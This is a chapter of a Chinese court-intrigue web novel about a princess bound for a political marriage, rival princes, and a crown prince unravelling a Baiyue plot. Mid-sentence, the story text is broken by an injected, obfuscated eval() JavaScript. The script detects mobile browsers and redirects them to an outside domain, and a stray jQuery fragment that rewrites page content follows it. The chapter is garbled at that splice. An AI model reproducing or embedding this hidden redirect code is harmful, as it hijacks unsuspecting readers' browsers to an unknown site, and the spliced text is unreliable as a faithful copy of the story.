陈希青摸不清萧竚的路数,不敢妄答,端起手一顿表态:“殿下,和亲之事怀安定当不辱使命。”
“你不辱使命,就真要嫁给钴尔德了,”萧竚面色惨淡,仔细打量陈希青,“你难道真的不喜欢五郎吗?”
“我与王爷……谈不上喜不喜欢……”陈希青额角冒汗,“殿下,我是去和亲的。”
萧竚终于正经了些说:“和亲之事,的确事关重大。”
陈希青松了口气,正想沿着这个话往下说。
萧竚又说:“和得了就和,和不了就打,真让神武营二十万精兵躲在弟妹身后,我大梁儿郎的脸都要丢尽了。”
陈希青:“……”
门外传来急乱的马蹄声,照壁对面,萧翊跳下马,把马鞭丢给息风。
横立殿门的金羽卫向萧翊行了军中之礼,让出道来。
殿内宫人见是翊王驾到,跪成两排,为首内监忙要进殿通传。
“几步路,不必传了。”
萧翊大步走进殿内,靛青袍炔翻飞,额间勒着的黛青鎏金抹额溢出了汗。
“见过翊王爷。”
陈希青愕然地朝他行了礼,想这今日是什么日子,人一个一个往她这儿来。
萧翊从头到脚看了她一遍,又把目光转向萧竚。
“皇兄怎么来了?”
萧竚双手抱胸,笑道:“明日皇妹出嫁,当然是来说说体己话,怎么?你来得,孤来不得?”
陈希青庆幸他没叫“弟妹”,真是多谢他。
萧翊没理萧竚,转而问陈希青:“陈廷玉来过?”
陈希青点头,“已经走了,王爷寻他有事?”
萧翊唇角动了动,没再说话。
萧竚忍不住笑了,打岔道:“皇妹好让人伤心,来这临雪别苑,怎会是寻陈廷玉的呢。”
陈希青愣神看着萧翊,萧翊神情冷肃。
萧竚好似没讨着趣,又说:“五郎,你明日就要去送亲了,府里刚纳的姬妾要带走吗?”
萧翊目光锁在陈希青脸上,淡然说:“带走。”
陈希青敛眸,不再看他。
萧竚神情不易察觉地闪过一丝茫然,而后笑了笑,饶有兴致地说:“也罢,省得母后给你娶了王妃,你又不在京,这一妻一妾成天在府里大眼瞪小眼。”
萧翊终于忍不了萧竚的添油加醋了,侧目回敬说:“海正侯刚回京,东宫不忙吗?”
萧竚霎时收敛笑容,眉目瞬间显出不怒自威的肃穆。
“他何时回的?”
萧翊答:“刚入城,我从东门来,见到了,他把赵无堂压回来了。”
浔水的匪首赵无堂。
陈希青想起,梅宴那日,萧翊教训香阳公主时提到过。
生擒匪首,比直接杀了难太多。
相传赵无堂是百越国的奸细。
想来海正侯又立了一大功,他已是辅国大将军,再迁升,梁国就要出第二位镇国大将军了。
“走。”
萧竚迅速走出殿,身后的宫人内监抱着仪仗小跑跟上。
廊下的绣眼鸟唧咋叫唤了几声,拴着细链的小爪在笼中敲出清脆的铃音。
萧翊没急着跟去,走到陈希青身边,说:“今夜不必等我,有事让人来王府传话。”
在京城的最后一夜,府里的那位姬妾当然也需要打点。
陈希青衣袖里的手指卷缩起来,蹲身,向萧翊作揖道:“王爷慢走。”
萧翊顿了一下,还是问:“你就没有什么想问的?”
陈希青摇头:“王爷事忙,多保重身体。”
一个下午,陈廷玉和太子都来了临雪别苑。
萧翊本是抱着担忧之心来的,见她这副如冰似霜的模样,心里无端冒起了火。
他细细看她淡如烟云的脸,黛眉平顺,眼波舒缓,狠狠道了声:“好,很好。”
他一摆衣袖,转过身,迎着夕阳的金霞,头也不回地走了。
——
用过晚膳后,陈希青依旧让轻燕去几家官窑妓馆打听岳紫嫣的下落。
这夜,轻燕不多时就回来了,眼里带着激动的喜悦。
“小姐,暖玉阁的老鸨说前几日的确有一个姑娘获赦外放了,一定是表小姐。”
陈希青双手紧握着轻燕的手,眼里盈着泪,说:“可确认过名字?”
轻燕摇头:“密旨恩赦,那老鸨不敢说太多,告知我这些已经是看在银子给够了的份上。”
陈希青落下眼眸,很快又抬起,笑说:“我有感觉,一定是她。”
“表小姐既然重获自由,那她为何不来找小姐?”轻燕问,“小姐和亲的消息,她不会不知道吧。”
这也是陈希青疑惑的,她一直侥幸地以为,就算轻燕打听不到,她等在临雪别苑,出嫁之前,总能等到岳紫嫣来找她。
“我不是真公主的事得避着北狄使臣,坊间的人虽然心里明白,但不会翻到明面上说,她也许真的不知道是我,”陈希青自我安慰着,“无妨,只要她自由了,便是最好的了,我明日就走了,不见也好,也好……”
“小姐……”
轻燕觉得自己又心直口快,戳了陈希青的痛处,想打自己一嘴巴。
陈希青坐到塌畔,叫轻燕吹了灯,添了炭,两人一起上塌睡了。
——
连日夜雪,街道已积了厚厚霜雪。
天刚破晓,就有人拖着石铲出来扫雪,以免冰霜盖路,导致行人和马车打滑。
萧竚从暗牢走出。
“殿下。”
金羽卫指挥使叶弗锋穿着一身金色锁甲,站在阶前,手中捧着一方洁白软布。
萧竚接过布,擦拭手指上的鲜血。
叶弗锋说:“殿下亲审一夜,他都咬死不承认与百越勾结,言语间,只想激殿下杀他,看来这赵无堂背后还有主子。”
“赵无堂只是个幌子,”萧竚神情冷酷,擦拭血迹的动作慢条斯理,极富耐心,每个指缝的残血,丝丝缕缕都不放过,“他招揽山匪,在浔水打劫滋事,是想让人以为他们只是一窝普通匪贼,占山为王,打家劫舍,其实不然。”
“依海正侯的战报看,这群匪贼身法奇异,分队协同作战,擅奇袭巧攻,甚有章法……”叶弗锋观一下萧竚神色。
萧竚把沾血的软布递回给叶弗锋,道:“他们是一队暗卫。”
“赵无堂既是暗卫,为何不隐藏,而要占山假扮匪徒,我们一出兵,他们不是更容易暴露。”
叶弗锋素来是个板正耿直的武官,武艺不凡,却是不太能看出行事诡诈之人心里的弯弯绕。
“因为藏不住,他们很可能在被人追杀,”萧竚倏然一笑,道,“暗卫从来不会聚集,惯常都会散在各地,打探消息。赵无堂聚集暗卫,只可能是他不得不这么做,要集中力量保护什么人。南境有虎贲军,不可能不察觉这么多百越人在南境活动。赵无堂在一碗清水里藏一粒沙,不好藏。所以,他放了一把沙在水里,用真正的山匪隐藏自己人,把水搅浑。这样,才能让人找不出他想藏的那粒沙。”
叶弗锋马上道:“海正侯在浔水俘虏了三千人,里面应该混有赵无堂的亲信,属下这就着人去浔水查。”
萧竚抬起手,修长白净的玉指在他手背一点,说:“何必如此麻烦,如今敌暗我明,最简单的方法是引蛇出洞,赵无堂就是饵。”
叶弗锋有些无措,他又跟不上萧竚的思路了。
萧竚笑了一声,与叶弗锋一起在刚铲过雪的宫道上慢行。
晨间空气格外冷些,萧竚呼吸间,都有白气。
萧竚说:“浔水探子来报,百越各部族秘密整军,像是准备北进,攻打岭州。”
叶弗锋心中震惊,却不敢妄自接话,岭州是三皇子——瑞王的封地。
“浔水、龙川,一山一水,是隔绝岭州与百越的天然屏障,”萧竚悠然说,“赵佗在百越称帝有六十年了,密报传他可能已经死了,但百越一直秘不发丧。赵佗老来疑心甚重,他的几个儿子被他疑神疑鬼,太子之位悬空,引来更激烈的争抢,兄弟阋墙,死了大半。”
此事并不是秘密,赵佗本是梁国藩臣。
百越民族杂多,散居群山峻岭,溪谷之间,丛竹之中,难以统一。先帝便立百越中最强悍一支部族——南越为尊,封南越首领赵佗为百越王,管辖百越。
然,先帝崩后,熙昌皇帝年幼继位,镇国大将军齐沅把持朝政,赵佗不服齐沅,愤而称帝,脱离梁国。
赵佗成了百越各族第一位统一部族的皇帝,威望盛极一时,但他老来昏聩,多年未立太子。
皇子们母族都来自各部,谁都想推自己族里的皇子上位,致使手足相残频多,死的死,伤的伤。
“竟是没想到赵佗与一宫女生下一子,杀母留子,将太子之位给了这最小的儿子,”萧竚看着远处宫道上铲雪的宫人们,说,“那孩子应该不过十五岁,在族中并无威望,难
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606483|172060||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以成事。百越十多个部族,好不容易被赵佗捏起来,现在,怕是已经散了。”
叶弗锋猛然想到什么,说:“赵无堂是龙川人,龙川与百越的南越部族隔山相望,时有私下通婚,赵佗出自南越部族,该不会他与赵佗有关?那他想要隐藏的……”
“那小儿子,百越太子,赵婴齐。”
萧竚的语气肯定。
赵无堂率领的这批“山匪”训练有素,身手都是极擅潜伏和暗杀的,不像士兵,更像刺客,或是死士。
不管哪种,在淮水以南,能有这等能力和财力豢养一支暗杀精锐的人,除了海正侯,便只有百越帝赵佗。
结合百越扑朔迷离的局势,只有被迫害出逃的百越太子,才能得赵无堂这支精锐如此赴死保护,一切才都说得通。
“派人去龙川,找赵无堂族中之人报个信,说孤可以救赵无堂,叫他们来人上京与孤谈一笔交易,消息不必藏,散得越开越好。”萧竚安排道。
叶弗锋扣手道:“遵命。”
晴雪初霁,天光携着清冷的露气袭面而来。
宫道尽头,金顶龙纹驾舆在晨曦中光华耀眼,萧竚眯了眯眼,走得慢了。
过了宫门,叶弗锋行礼退下,一东宫内监马上行到萧竚身前,道:“殿下,未央宫的送亲仪典还有两个时辰,太子妃娘娘在宫中等了殿下一宿。娘娘请殿下回宫更衣用膳,一同前往未央宫。”
萧竚面容冷得如风雪里的一尊雕像,良久,他坐上金顶驾舆,往东宫去。
宫道悠长,像永远望不到头的砖墙甬道。
萧竚手指里的血腥味未除尽,丝丝缕缕飘散在空中。
他蹙眉,从怀中拿出一个折成方胜的花笺。
薄宣如雪,洒着金粉,折痕深重,边缘有些破损,已看不出花笺曾经的清雅娟贵,更像是揉成团后,又仔细折好,长久不曾打开的一张皱纸。
萧竚将方胜拿到鼻下,嗅了嗅,清淡茶香只有隐约一丝,却能瞬间冲掉了他鼻腔里的血腥味。
“停。”
驾舆停下,内监碎步跑过来等吩咐。
萧竚道:“孤要出宫,备轿。”
内监想开口再为太子妃说话,萧竚平静的目光落在他身上。
萧竚平日是极亲和善谈的主子。
这样的主子,突然沉静下来,看着人,不发话的时候,比那些动不动就动怒的主子,更让人汗毛倒竖,颇为可怖。
“嗻。”
不久,一辆乌棚马车在翎王府门前的照壁旁停下。
守门的府兵上前查问,马夫将东宫腰牌不经意露出。
府兵便不再问,一拱手,回去继续站岗。
一盏茶后,萧翊穿着神武营的全副金铠走出府门,翻身上马。
府门里跟出一个身着雪白大氅的清丽女子。
她走得匆忙,脂粉未施,圆髻上连釵环都来不及戴,身边围着两个端梨木托盘的婢女。
“王爷,还有一个时辰,用点早膳再走罢,”若璃望着马上的萧翊说,“又要下雪了,妾身烹好了茶,喝一碗暖身。”
萧翊察觉到身后有人注视,侧头看了看那照壁旁的乌棚马车,眸光动了动,而后转头对若璃说:“未央宫还有事,本王先走,你在府中等着,有车来接你去神武营。”
说完,萧翊抖抖马缰,策马走了。
婢女端来的茶水很快凉了,若璃拿过来,无奈地叹口气。
乌棚马车的窗幕不知何时掀开了,萧竚隔着灰黑的幕帘,正看着府门阶梯上端茶敛神的女人。
她的容貌,如今已是如此了吗?
高了,也瘦了,看着还是那么天真,会不会还如从前一般好骗?
萧竚几乎是不可控制地弯起了嘴角,眼眸澄亮,远远望着那柔玉般的人儿。
若璃也注意到了乌棚马车,定睛看过来。
萧竚即刻落手,幕帘重新垂了下来。
他轻敲车壁,马夫立即驾马,马车慢慢走过照壁前,假装路过。
若璃没太在意,将茶盏放回婢女的托盘里,说:“凉了,倒了罢。”
婢女将那杯茶倒在地上,马车车辙正好从这摊茶水边碾过。
若璃转身回府。
萧竚隔着幕帘打开手中的方胜。
薄宣展开,簪花小楷娟秀玲珑,还有些因握笔不稳,而显出的稚气。
只八个字,写在洒金花笺正中:
欠君一杯茶 岳紫嫣。